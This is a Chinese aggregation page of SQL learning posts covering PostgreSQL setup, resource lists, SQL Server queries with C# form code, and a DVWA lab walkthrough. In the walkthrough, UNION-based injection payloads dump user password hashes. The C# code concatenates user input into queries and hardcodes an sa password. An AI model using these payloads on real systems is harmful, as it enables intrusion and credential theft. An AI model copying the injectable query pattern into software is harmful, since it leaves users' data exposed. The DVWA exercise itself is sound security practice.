精华内容
下载资源
问答
  • 学习SQL【1】-搭建SQL的学习环境

    千次阅读 2018-02-26 11:15:29
    如果你也想学SQL,希望我的学习记录能对你有所帮助。PostgreSQL是对象关系型数据库管理系统。与MySQL一样,都是世界上广泛使用的开源数据库(DB)。它严格遵守标准SQL规则,是初学者的最佳选择。所以我选的是...
    最近我在学习SQL,现在就开始记录我的学习过程吧,加油!如果你也想学SQL,希望我的学习记录能对你有所帮助。


    PostgreSQL是对象关系型数据库管理系统。与MySQL一样,都是世界上广泛使用的开源数据库(DB)。它严格遵守标准SQL规则,是初学者的最佳选择。所以我选的是PostgreSQL作为我的学习环境。


    一:PostgreSQL的安装

    1:下载安装程序
    我们可以从PostgreSQL的下载页面下载程序:

    ● 下载页面:
    enterprisedb.com/downlo


    现在最新版本是PostgreSQL10.1,但我建议下载PostgreSQL9.5.10。我之前尝试了下载PostgreSQL10.1,但是我发现我连不上数据库,在网上也没有找到解答,无奈,我重新下载了9.5.10版本的。结合自己的情况,可以自行选择win32或是win64版本的安装程序。

    2:运行安装程序
    鼠标右键点击已下载好的安装包,然后点击“以管理员身份运行”。

    点击“next”之后会弹出选择安装路径,建议不要装在C盘,我的路径是:E:\PostgreSQL

    在中途会提示设置数据库管理员密码,一定要记住自己设置的密码,在登录PostgreSQL时会用到这个密码。

    然后会弹出设置端口号,保持不变,继续点击“next”即可。

    然后会弹出设置地区选项,选择“Chinese(Simplified),Singapore”,点击“next”按钮。

    等待一分钟即安装完成,这时会弹出“Launch Stack Builder at exit ?”,取消选中按钮,因为它会安装各种附加工具,但是我们并不需要这些,最后点击“Finish” OK。


    二:连接PostgreSQL

    1:启动命令提示符(管理员)

    ● 对于win10:鼠标右键点击桌面左下角“window”图标,选择“命令提示符(管理员)(A)”

    ● 对于win8/8.1:同时点击键盘上“window”键+“X”键,选择“命令提示符(管理员)(A)”

    ● 对于win7:点击键盘上的“window”键,在“搜索程序和文件”输入框中输入“cmd”,右键点击检索结果中的“cmd.exe”,选择“以管理员身份运行(A)”。

    打开命令提示符后,输入如下命令,然后回车。

    E:\PostgreSQL\bin\psql.exe -U postgres
    


    如上图,会显示出“用户postgre的口令:”,在这里输入我们安装时设置的密码,按回车。输入密码时,光标会一直在同一位置闪烁,看上去就像什么也没有输入一样,实际上密码已经输进去了,所以在输入结束时按下回车键。

    显示出如下窗口,就表明连接成功了

    然后就可以执行SQL语句了


    三:创建学习使用的数据库

    1:执行创建数据库的SQL语句

    CREATE DATABASE learn;
    

    创建成功后,会显示如下信息

    CREATE DATABASE
    


    注意:
    ● SQL语句以“;”分号结束,如果没有输入的话,即是按下回车,SQL语句也不会执行。
    ● 数据库的名称只能使用小写字母。

    2:结束psql
    输入“\q”回车即可断开与PostgreSQL的连接。



    四:连接到学习使用的数据库(登录)

    在命令提示符输入:

    e:\PostgreSQL\bin\psql.exe -U postgres -d learn
    

    选项“-d learn”是指定“数据库learn”的意思

    这样数据库learn就登录成功了。然后就可以开始之后的学习了。

    展开全文
  • 如何学习SQL?如何快速入门SQL

    千次阅读 2019-09-18 13:41:13
    在网上随便一搜,都能搜出一大堆学习SQL的资料,但是反而令人无从下手。有些资料已经过时,有些资料质量不好,选取合适的资料能使我们学习事半功倍。 通过我个人的亲身学习,才知道哪些资料对于我们学习SQL事最有...

    在网上随便一搜,都能搜出一大堆学习SQL的资料,但是反而令人无从下手。有些资料已经过时,有些资料质量不好,选取合适的资料能使我们学习事半功倍。
    通过我个人的亲身学习,才知道哪些资料对于我们学习SQL事最有帮助的,只需3个网站+2本书就足够了。
    切记20/80法则,自学是要在最短时间内掌握大部分的知识,是要入门,而不是马上成为专家。

    1、W3School的网上教程

    网址:https://www.w3school.com.cn/sql/index.asp

    2、《SQL基础教程》

    在这里插入图片描述

    • 基于标准的SQL,对于不同DBMS的特定语法都有详细介绍,非常适合小白入门。
    • 认真看2遍,跟着书中的列子做练习。

    3、《SQL必知必会》

    在这里插入图片描述

    • 同样,认真看2遍,做练习做练习做练习。

    4、自学SQL~适合复习和练习

    网址:http://xuesql.cn/

    5、SQLZOO~有大量的练习题

    网址:https://sqlzoo.net/wiki/SELECT_basics

    • 现在也有中文版了,完全没有问题。

    按顺序把以上资料通读两遍,SQL可以说基本入门了。

    展开全文
  • 快来学习 SQL !!!

    千次阅读 多人点赞 2020-10-15 16:16:47
    SQL 相关学习总结sql sever 2008 建库相关操作SQL 语句相关操作新建数据库建表插入数据查询语句 sql sever 2008 建库相关操作 连接到服务器 新建数据库 输入数据库相关参数 右键数据库名称,新建表 输入列名,...

    SQL 安装教程

    安装包下载

    那必然去官网下载,下方是官网链接
    微软下载官网

    点击下载
    在这里插入图片描述

    选择这两个,再点击next~~~

    在这里插入图片描述
    先双击这个文件

    在这里插入图片描述

    一直下一步,这个功能要全选

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述
    一直下一步,完成后点开另一个文件
    在这里插入图片描述

    同样全选

    在这里插入图片描述

    安装完成

    在这里插入图片描述

    通过 sql sever 2008 建库

    连接到服务器

    在这里插入图片描述
    新建数据库

    在这里插入图片描述
    输入数据库相关参数

    在这里插入图片描述
    右键数据库名称,新建表

    在这里插入图片描述
    输入列名,数据类型等参数

    在这里插入图片描述
    右键小箭头设置主键等属性

    在这里插入图片描述

    用 SQL 语句建库

    新建数据库

    在这里插入图片描述

    单机新建查询,输入下方代码,点击执行,闭上眼睛默说五遍“我想要一个数据库”,然后睁开眼睛,你便拥有了一个数据库~~~~
    在这里插入图片描述

    CREATE DATABASE [2859902680] --数据库名字(名字含数字数字要用[],下同)
    on primary
    (
    	name = [2859902680_data],
    	filename = 'E:\goodgoodstudy\project\sql\1\2859902680_data.mdf', --数据文件路径
    	size=10, --初始大小/MB
    	maxsize=unlimited, --是否限制增长
    	filegrowth=1 --增量
    )
    LOG ON (
    	name = [2859902680_log],
    	filename = 'E:\goodgoodstudy\project\sql\1\2859902680_log.ldf', --日志文件路径
    	size = 5,
    	maxsize=unlimited,
    	filegrowth=1
    )
    

    建表

    在这里插入图片描述

    右键点击新建好的数据库,选择新建查询,在新的 sql 文件中输入下方代码,点击执行并呼出一口仙气

    CREATE TABLE SC
    (
    --  列名 约束条件(数据类型,可否为空)
        S# CHAR(4),
        C# CHAR(4),
        SCORE SMALLINT,
        PRIMARY KEY(S#,C#),--设置主键
        --FOREIGN KEY(S#)REFERENCES S(S#),--设置外键
    );
    

    你就会发现一个现新建的数据表!!!

    在这里插入图片描述
    在这里插入图片描述

    插入数据

    还是右键数据库,新建查询,输入以下代码后点击执行

    INSERT INTO SC
    VALUES ('S1','C1',70),
    ('S1','C2',80),
    ('S1','C4',90),
    ('S2','C5',90),
    ('S4','C1',90),
    ('S5','C2',60),
    ('S5','C3',NULL),
    ('S5','C4',60),
    ('S5','C5',78),
    ('S6','C1',76)
    

    记得 char 类型的数据需要加引号,int 类型不需要

    然后右键这个数据表

    点击 编辑前200行
    在这里插入图片描述
    即可看到刚刚输入的数据乖乖躺在表里~~~~

    在这里插入图片描述

    SQL 查询语句

    还是右键数据库,新建查询,然后按照下方模板输入代码,体会查询数据带来的成就感
    在这里插入图片描述

    SELECT DISTINCT /*返回唯一不同的值*/ column, AGG_FUNC(column_or_expression),FROM mytable
        JOIN another_table
          ON mytable.column = another_table.column
        WHERE constraint_expression
        GROUP BY column /*结合函数对结果集进行分组*/
        HAVING constraint_expression
        ORDER BY column ASC/*升序排序*/ / DESC/*降序排序*/
        LIMIT count/*输出数据量*/ OFFSET COUNT/*从第几个数据开始输出*/;
    

    数据操作

    – ① 检索年龄小于17岁的女学生的学号和姓名。

    SELECT DISTINCT S#, SNAME
    FROM S
    WHERE AGE<17 AND SEX='F'
    

    – ② 检索男学生所学课程的课程名与课程号。

    SELECT DISTINCT CNAME, SC.C#
    FROM SC, S, C
    WHERE  SC.C# = C.C#
        AND S.S#=SC.S#
        AND S.SEX='M'
    

    – ③ 检索男学生所学课程的任课教师的工号和姓名。

    SELECT DISTINCT T#, TNAME
    FROM T WHERE T# IN( 
    	SELECT T# FROM C WHERE C# IN(
            SELECT C# FROM SC WHERE S# IN(
                SELECT S# FROM S WHERE SEX = 'M'
            )
        )
    )
    

    – ④ 检索至少选修两门课程的学生学号。

    SELECT DISTINCT S#, COUNT(C#) AS a
    FROM SC
    GROUP BY S#
    HAVING COUNT(C#) > 2
    

    – ⑤ 检索至少有学号S2和S4学生选修的课程的课程号。

    SELECT C#
    FROM C
    WHERE C# IN (
        SELECT x.C# FROM SC as x, SC as y
    		WHERE x.S# = 'S2' and y.S# ='S4' and x.C#=y.C#
    )
    

    – ⑥ 检索WANG同学不学的课程的课程号。

    SELECT DISTINCT C#
    	FROM SC
    	WHERE C# NOT IN(
        	SELECT C# FROM SC WHERE S# IN(
        		SELECT S# FROM S WHERE SNAME = 'WANG'
    	)
    )
    GROUP BY C#
    

    – ⑦ 检索全部学生都选修的课程的课程号与课程名。

    SELECT C#, CNAME
    FROM C
    WHERE C# IN(
        SELECT C# FROM SC
    	GROUP BY C#
    	HAVING COUNT (*) = (
        	SELECT COUNT(*) FROM S
    		GROUP BY S#
    	)
    )
    

    – ⑧ 检索选修课程包含LIU老师所授课程的学生学号。

    SELECT DISTINCT SC.S#
    FROM SC, C, T
    WHERE SC.C# IN (
        SELECT C.C# WHERE C.T# IN(
            SELECT T# FROM T WHERE TNAME = 'LIU' 
        )
    )
    

    组合查询:

    – ① 统计有学生选修的课程门数。

    SELECT COUNT(DISTINCT C#) AS co
    FROM SC
    

    – ② 求选修C4课程的女学生的平均年龄。

    SELECT AVG(S.AGE)AS RESULT
    FROM S
    WHERE S.S# IN(
        SELECT SC.S# FROM SC WHERE SC.C#='C4'
    )
    AND S.SEX='F'
    

    – ③ 求LIU老师所授课程的每门课程的平均成绩。

    SELECT C#,AVG(SC.SCORE) AS AVG_SCO
    FROM SC
    WHERE SC.C# IN(
        SELECT C# FROM C WHERE T# IN(
            SELECT T# FROM T WHERE TNAME='LIU'
        )
    )
    GROUP BY C#
    

    – ④ 统计每门课程的学生选修人数(超过10人的课程才统计)。要求显示课程号和人数。

    SELECT SC.C#, COUNT(*) AS NUM
    FROM SC
    GROUP BY SC.C#
    HAVING COUNT(*)>10
    

    – ⑤ 检索学号比WANG同学大,而年龄比他小的学生姓名。

    SELECT SNAME FROM S
    WHERE S#>(
    	SELECT S# FROM S WHERE SNAME = 'WANG'
    )
    AND AGE<(
    	SELECT AGE FROM S WHERE SNAME = 'WANG'
    )
    

    – ⑥ 在表SC中检索成绩为空值的学生学号和课程号。

    SELECT S#, C#
    FROM SC
    WHERE SCORE IS NULL
    

    – ⑦ 检索姓名以L打头的所有学生的姓名和年龄。

    SELECT SNAME,AGE FROM S
    WHERE SNAME LIKE 'L%'
    

    – ⑧ 求年龄大于女同学平均年龄的男学生姓名和年龄。

    
    ```sql
    SELECT SNAME, AGE
    FROM S
    WHERE SEX = 'M'
        AND AGE >(
        SELECT AVG(AGE) FROM S WHERE SEX='F'
    )
    

    – ① 用户定义完整性:学生年龄<30。

    ALTER TABLE S
    ADD CONSTRAINT NL CHECK(AGE<30)
    

    – 用实验验证当操作违反了完整性约束时,系统如何处理?

    INSERT INTO S
    VALUES('S11', 'HAORAN', 19, 'F')
    

    – ② 修改SC中的约束条件,成绩在0-100之间。
    – 如果约束存在则先删除

    if exists(
    	select * from sysobjects where name= 'CJ'
    	)
    alter table SC drop constraint CJ; 
    

    – 添加约束

    ALTER TABLE SC
    ADD CONSTRAINT CJ CHECK(SCORE<=100 AND SCORE >=0)
    

    –用实验验证当操作违反了完整性约束时,系统如何处理?

    INSERT INTO SC
    VALUES('S1', 'C5', 150)
    

    – ①求某门课的平均成绩,并把结果存入数据库;

    CREATE TABLE L
    (
        C# CHAR(4) NOT NULL,
        AVGGRADE SMALLINT,
        PRIMARY KEY (C#),
        FOREIGN KEY (C#) REFERENCES C(C#)
    );
    
    INSERT INTO L
    SELECT C#, AVG(SCORE)
    FROM SC
    GROUP BY C#
    

    – ②将选LIU老师所授课的全体学生的成绩置零。

    UPDATE SC SET SCORE = 0
    WHERE C# IN (
        SELECT C# FROM C WHERE T# IN(
            SELECT T# FROM T WHERE TNAME = 'LIU'
        )
    )
    

    数据库与C#窗体关联

    在窗体设计界面插入控件后
    添加代码
    新建连接对象,并传入连接指令字符串

     public static string con = "server=BLACK;database=2019_3_2;uid=sa;pwd=123456";
            public static SqlConnection con_connection = new SqlConnection(con);
    

    定义查询语句

    string sql = "SELECT * FROM OP WHERE OP.H_Pos = 402";
    

    含 textbox 输入的sql语句

    sql = "SELECT OP.Name,OP.O_ID,OP.Sex,OP.Num,OP.H_Pos,Age,Health_condition,N_Name FROM OP, NW WHERE OP.O_ID = "
                            +textBox1.Text+" AND NW.O_ID = " + textBox1.Text;
    

    执行查询语句

    SqlDataAdapter sqlLaoRen = new SqlDataAdapter(sql, con);
    

    建立数据表对象

     DataTable it = new DataTable();
    

    将查询结果填充到数据表内

    sqlLaoRen.Fill(it);
    

    将数据表内容展示到控件中

     dataGridView1.DataSource = it.DefaultView;
    

    内容居中显示

    dataGridView1.RowsDefaultCellStyle.Alignment = DataGridViewContentAlignment.MiddleCenter;
    

    粘贴我所做的其中一个窗体的代码

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Data.SqlClient;
    using System.Linq;
    using System.Text;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using System.Security.Cryptography.X509Certificates;
    
    namespace 三级项目
    {
        public partial class Form5 : Form
        {
            public Form5()
            {
                InitializeComponent();
            }
            public static string con = "server=BLACK;database=2019_3_2;uid=sa;pwd=123456";
            public static SqlConnection con_connection = new SqlConnection(con);
            //新建连接对象,并传入连接指令字符串
    
            private void comboBox1_SelectedIndexChanged(object sender, EventArgs e)
            {
    
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                string search_leixing = comboBox2.Text;
                string sql ="";
                if (textBox1.Text == "")//判断输入是否为空
                {
                    MessageBox.Show("查询失败,请重新输入");
                    return;
                }
                switch (search_leixing)//判断下拉栏内容
                { 
                    case "通过老人证件号码查询老人信息":
                        if (textBox1.Text.Length != 3)//判断输入是否为空
                        {
                            MessageBox.Show("查询失败,请重新输入");
                            return;
                        }
                        sql = "SELECT OP.Name,OP.O_ID,OP.Sex,OP.Num,OP.H_Pos,Age,Health_condition,N_Name FROM OP, NW WHERE OP.O_ID = "
                            +textBox1.Text+" AND NW.O_ID = " + textBox1.Text;
                        break;
                    case "通过护工工号查询护工信息":
                        if (textBox1.Text.Length != 12)//判断输入是否为空
                        {
                            MessageBox.Show("查询失败,请重新输入");
                            return;
                        }
                        sql = "SELECT N_Name,N_ID,NW.Sex,Employment_term,NW.Num,NW.O_ID,NW.H_Pos,OP.Name FROM NW, OP WHERE NW.N_ID = "
                            + textBox1.Text + " AND OP.O_ID = NW.O_ID;";
                        break;
                    case "通过管理人员编号查询管理人员信息":
                        if (textBox1.Text.Length != 6)//判断输入是否为空
                        {
                            MessageBox.Show("查询失败,请重新输入");
                            return;
                        }
                        sql = "SELECT M_Name, MA.H_Pos AS 所属养老院, NW.N_NAME AS 护工名字, NW.N_ID, NW.SEX AS 护工性别 FROM MA, Manage, NW WHERE MA.M_ID = "
                            +textBox1.Text+" AND MA.M_ID = Manage.M_ID AND Manage.N_ID = NW.N_ID";
                        break;
                    default:
                        MessageBox.Show("查询失败,请重新输入");
                        return;
                        break;
                }
                SqlDataAdapter sqlLaoRen = new SqlDataAdapter(sql, con);
                //传入查询命令字符串
                DataTable it = new DataTable();
                //建立数据表对象
                sqlLaoRen.Fill(it);
                //将查询结果填充到数据表内
                dataGridView1.DataSource = it.DefaultView;
                //将数据表内容展示到控件中
                dataGridView1.RowsDefaultCellStyle.Alignment = DataGridViewContentAlignment.MiddleCenter;
                //内容居中显示
            }
    
            private void button2_Click(object sender, EventArgs e)
            {
                new Form1().Show();
                this.Close();
            }
        }
    }
    
    

    配上好看的窗体界面设计
    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • dvwa学习sql注入 low级别

    千次阅读 2018-03-11 20:00:34
    刚刚学习web安全,老师第二节课就让用dvwa学习sql注入了,下面是我自己通过书上的学习以及在dvwa摸索的过程,求大牛们多多指点,勿要喷我级别:Low从页面上看到,有一个可以提交查询内容的地方我们可以通过以下步骤...

    刚刚学习web安全,老师第二节课就让用dvwa学习sql注入了,下面是我自己通过书上的学习以及在dvwa摸索的过程,求大牛们多多指点,勿要喷我闭嘴

    级别:Low

    从页面上看到,有一个可以提交查询内容的地方

    我们可以通过以下步骤判断这里是否存在注入点

    ① 输入1  提交


    ②输入1' 提交


    ③输入1 and 1=1 提交


    ④输入1 and 1=2提交


    由上可以看出是存在注入点的,  我们猜测sql查询语句是这样的:  

    select First name的列名 and Surname的列名 from 表名 where id的列名 ='我们输入的id'
    我们看一下这里的源码  果然真的是这样,没有任何过滤

    <?php

    if( isset( $_REQUEST'Submit' ] ) ) {
        
    // Get input
        
    $id $_REQUEST'id' ];

        
    // Check database
        
    $query  "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        
    $result mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res false)) . '</pre>' );

        
    // Get results
        
    while( $row mysqli_fetch_assoc$result ) ) {
            
    // Get values
            
    $first $row["first_name"];
            
    $last  $row["last_name"];

            
    // Feedback for end user
            
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }

        
    mysqli_close($GLOBALS["___mysqli_ston"]);
    }

    ?> 

    那么我们首先爆出它的库试试,用单引号让id闭合

    输入 1' union select 1,database()#提交


    可以看出目前使用的数据库为dvwa,接下来我们爆表试试

    输入 1' union select 1,table_name from information_schema.tables where table_name='dvwa'#


    可以看到有两个表,我们爆一下users的列,

    输入1' union select 1,column_name from information_schema.columns where table_name='users'#


    可以看出有好多的列,但是重要的应该是user列和password列,我们爆出这两列的字段内容

    输入 1' union select 1,concat(user,password) from users#


    或者输入 1' union select 1,concat_ws(char(32,58,32),user,password) from users#

    这里32为空格  58位冒号  输出显示内容就是 user : password


    这里就差不多把重要的数据都给爆出来了,只不过是加密后的  可以直接在线解密

    接下来我们训练一下其他的注入

    查看数据库路径、mysql安装路径和操作系统

    输入 1' union select 1,concat(@@datadir,@@basedir,@@version_compile_os)#


    就先玩这么多了  今后再努力学习  大家也好好加油~

    展开全文
  • 为什么要学习SQL

    千次阅读 2018-10-12 17:16:19
    很多人喜欢一上来就推荐好几本书,但是这些书晦涩难懂,对于初学者入门非常不友好。入门只需要一本书就够了,而不是多本。入门要让初学者看懂才是最重要的,而不是整那些高大上的...明白学习的意义,让你有兴趣...
  • 学习SQL 事务

    千次阅读 2019-05-17 10:53:41
    事务实在数据库上按照一定的扩机顺序执行的任务序列,即可以由用户手动执行,也可以...实践中,通常会将很多SQL查询组合在一起,并将其作为某个事务一部分来执行 事务的属性 事务具有以下四个标准属性,通常用缩略...
  • 从零开始学习SQL(图文教程)

    万次阅读 多人点赞 2015-09-22 10:57:31
    本分先分别介绍Microsoft Query 方法书写SQL语句,和VBA方法书写SQL语句。(注:VBA语句中只需修改其中的SQL语句即可,其他只需要复制粘贴即可)。下面先上图:进入VBA界面 2.插入模块 3.双击模块 4.在代码区码 写
  • [学习SQL SERVER 2005系列]图解SQL SERVER2005的安装 前言: [学习SQL SERVER 2005系列]准备把学习2005的一些心得整理出来,和大家分享,共同学习一起提高。 安装准备: 1、SQL Server 2005 的各版本之间选择 ...
  • 通过DVWA学习SQL盲注

    千次阅读 2017-02-21 21:34:57
    SQL盲注中,并不会像之前的SQL注入一样显示数据库内建的报错信息,而是显示通用的错误提示,也就是说SQL注入将不能依靠错误信息来判断注入语句的执行结果。但是,我们可以利用其中基于逻辑真假的不同结果来进行...
  • 如何学习SQL数据库才能成为高手?

    万次阅读 2012-03-16 15:43:19
    我都已经学SQL数据库半年了,但是没有明显的进步,请问如何学习SQL数据库才能成为高手? ------------------------------------------- 对一张数据表想尽办法折腾 从搜索用户的角度,把各种搜索方法都实现那么你的...
  • 学习SQL的心得体会之三

    千次阅读 2008-12-07 10:56:00
    大家好,我很高兴,我再次和大家说,关于学习SQL 的一些心得体会,我觉得SQL真的很有意思,起来总有一种让人多学习一点的魔力。所以我希望通过写这样的文章多结交一些朋友。希望我们能共同学习进步。同时也希望各位能给...
  • 学习SQL Server 2005不得不看的一些图书(学习中) Microsoft SQL Server 2005 技术内幕 : 《T-SQL Querying》Microsoft SQL Server 2005 技术内幕 : 《T-SQL Programming》Microsoft SQL Server 2005 技术内幕 : ...
  • 学习SQL的一些心得体会!

    千次阅读 2008-12-03 20:30:00
    我很高兴,能向大家说一下,我学习SQL课程的一些体会。 最近,我开始学习SQL知识,觉得这门知识很有意思。就是它可以帮助,我们把一些现实的数据,放在这个数据库里存取。 我觉得,学习SQL:要熟习数据库的概念、...
  • 开发者应该学习SQL的九个理由

    千次阅读 2011-07-31 22:29:44
    开发者应该学习SQL的九个理由摘自http://article.yeeyan.org/view/227205/209768  按:“什么都略懂一点,生活就会多彩一点。” 编程语言、开发工具、数据库、网页前端甚至是美工设计,只要能够帮助我们Get Things...
  • 给大家分享数据库sql优化视频,分享目的在于让小白都可以很好的免费学习,里面包含笔记,语句,视频全套,某些人买了还要赚取别人的钱,我真看不过去了,本人决定花钱购买放到云盘供大家学习。 第1周 从案例中推导...
  • sql语句进阶教程(学习sql这一篇就够了)

    万次阅读 多人点赞 2016-05-04 21:47:28
    最近从图书馆借了本介绍SQL的书,打算复习一下基本语法,记录一下笔记,整理一下思路,以备日后复习之用。 PS:本文适用SQL Server2008语法。 一、关系型数据库和SQL 实际上准确的讲,SQL是一门语言,而...
  • 非技术人员应该学习SQL的3个原因

    千次阅读 2021-04-27 09:54:51
    作为一名数据分析师,我整天编写SQL查询。我的任务之一是充当公司数据库和需要随时使用数据的同事之间的翻译。根据他们的需求定制提取的数据后,他们就能够进行自己的分析并得出面向业务的结论。与对数据一无所知的...
  • 基于案例学SQL优化-全套视频

    千次阅读 多人点赞 2015-09-07 17:20:32
    给大家分享数据库sql优化视频,分享目的在于让小白都可以很好的免费学习,里面包含笔记,语句,视频全套,某些人买了还要赚取别人的钱,我真看不过去了,本人决定花钱购买放到云盘供大家学习,。 郑重声明:本文...
  • 《零基础学SQL》的内容包括数据库创建和管理、数据表与视图的创建和维护、数据查询、数据更新、数据控制、SQL的扩展PL/SQL编程等方面的内容,通过这些内容可以掌握编写SELECT语句、DML语句(INSERT、UPDATE和DELETE...
  • 如何学习SQL数据库才能成为高手

    千次阅读 2007-04-10 10:38:00
    我都已经学SQL数据库半年了,但是没有明显的进步,请问如何学习SQL数据库才能成为高手?-------------------------------------------对一张数据表想尽办法折腾从搜索用户的角度,把各种搜索方法都实现那么你的select就...
  • 5个免费的学习SQL网站

    千次阅读 2015-06-28 15:48:21
    一大段就不翻译了,直接上5个比较好的SQL网站链接,但是能否打开要看你们自己的造化了。 1、 SQLZoo 2、 SQL Course from Stanford University 3、 SQL Course from Khan Academy 4、 ...
  • 在学校里了数据库课程,里面有一章专门讲sql,当时对数据库比较感兴趣,但由于各种原因,毕业后一直没有做数据库方面的工作。 虽然不做数据库,但是有空的时候就会看数据库方面的书,积累了基础知识,但是在工作...
  • 毫不负责任的说,你和数据科学家最大的鸿沟,就差一个SQL语言:)入门后,后面的事情就简单了为了帮大家尽快入门Hive SQL、学会提数和分析,实现在大数据领域大干一场的愿望,帮你准备好了...
  • 学习SQL Server推荐的10本书

    万次阅读 2015-04-17 23:28:32
    今天在sqlmag上闲逛,看到了这篇一年前写的文章,正好在看其中的一本,推荐给大家。原文地址:Top 10 Highly Recommended SQL Server Books.
  • alter table XSB alter column 奖金等级 int NOT NULL GO
  • 跟着项目学sql(一) 项目介绍

    千次阅读 2018-09-04 14:34:38
    运维表(health)位于其他的数据库,在运维系统项目下,在我们的网站项目中通过插件的方式,对接运维系统,记录该网站前后端项目的健康状况,在跟着项目设计模式系列文章中,会有类似的实现。 待续。。。
  • 学习sql很好一个网站

    千次阅读 2010-10-05 20:23:00
    ...sql.1keydata.
  • 学习 SQL 使用序列(自动递增)

    千次阅读 2019-05-17 11:37:25
    说明: 序列是根据需要产生的一组有序整数:1, 2, 3 … 序列在数据库中经常用到,因为许多应用要求数据表中的的每一行都有一个唯一的值,序列为此提供了一种简单的方法。 本节阐述在 MySQL 中如何使用序列。...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 574,494
精华内容 229,797
关键字:

学sql